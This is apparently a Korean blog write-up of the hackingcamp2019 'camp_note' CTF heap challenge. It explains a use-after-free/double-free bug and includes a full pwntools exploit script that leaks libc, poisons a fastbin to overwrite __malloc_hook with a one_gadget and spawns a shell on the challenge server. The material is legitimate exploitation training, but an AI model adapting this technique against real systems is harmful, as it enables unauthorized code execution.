Profile

youngsouk

youngsouk

[hackingcamp2019]camp_note

전형적인 메뉴를 이용하는 힙문제다.

최대 19번까지 힙을 할당할 수 있고, heap_context배열안에 포인터를 저장한다.

oob를 막아났지만, free뒤에 heap_context배열을 초기화시키지 않아서 취약점이 발생한다.

free된 힙부분을 볼 수 있어서, 취약점이 생긴다.

 

1. fastbin에 들어갈 청크 2개 생성

2.unsorted bin에 들어갈만큼의 힙 할당후 해제

3. view로 보아서 libc leak

4.double free bug를 활용해서 fastbin에 들어갈 chunk를 free시킨다.

5. malloc()으로 free한 fastbin에 있던거 1개 할당받고, fd를 malloc_hook부분을 fastbin에 들어갈 크기로 할당할 크기를 잘 맞춰 수정한다.

6. malloc() 2번을 통해서 malloc_hook 부분을 one_gadget으로 덮는다.

6. double free를 통해 에러메시지를 호출함으로서, 쉘을 딴다.

 

6번이 통하는 이유는 https://lclang.tistory.com/165 이쪽에서 자세하게 확인하면 된다.

from pwn import *

#p = process('./campnote')
p = remote("pwnable.shop", 20202)
e = ELF('./campnote')
l = e.libc

context.log_level="debug"

def malloc(size, content):
        p.sendlineafter('>>','1')
        p.sendlineafter('size >> ',str(size))
        p.sendlineafter('data >> ',str(content))

def free(index):
        p.sendlineafter('>>','2')
        p.sendlineafter('index >> ', str(index))

def show(index):
        p.sendlineafter('>>','3')
        p.sendlineafter('index >> ', str(index))


size = 0x7f - 24
malloc(size,1)
malloc(size,'a' *8 + p64(e.got['puts']))
malloc(1024,1)
malloc(1024,1)

free(2)
free(0)
free(1)
free(0)

show(2)
p.recvuntil('data >> ')
libc = u64(p.recv(6).ljust(8,'\x00')) - 88 - 16 - l.sym['__malloc_hook']
log.info('libc : '+ hex(libc))

victim = libc + l.sym['__realloc_hook'] - 11 - 16

log.info('victim_chunk_ptr : ' + hex(victim))

malloc(size, p64(victim))
malloc(size,1)
malloc(size,1)

malloc(size, 'a' * 0x13 + p64(libc +0xf02a4))
free(1)
free(1)

'CTF write-up' 카테고리의 다른 글

Tokyo Western CTF 2017 - Parrot  (0) 2019.10.02
[hackingcamp2019]bonus  (0) 2019.08.25
[hackingcamp2019]  (0) 2019.08.25
[dimi_ctf]ezheap  (0) 2019.07.15
[dimi_ctf]ropasaurusrex2  (0) 2019.07.15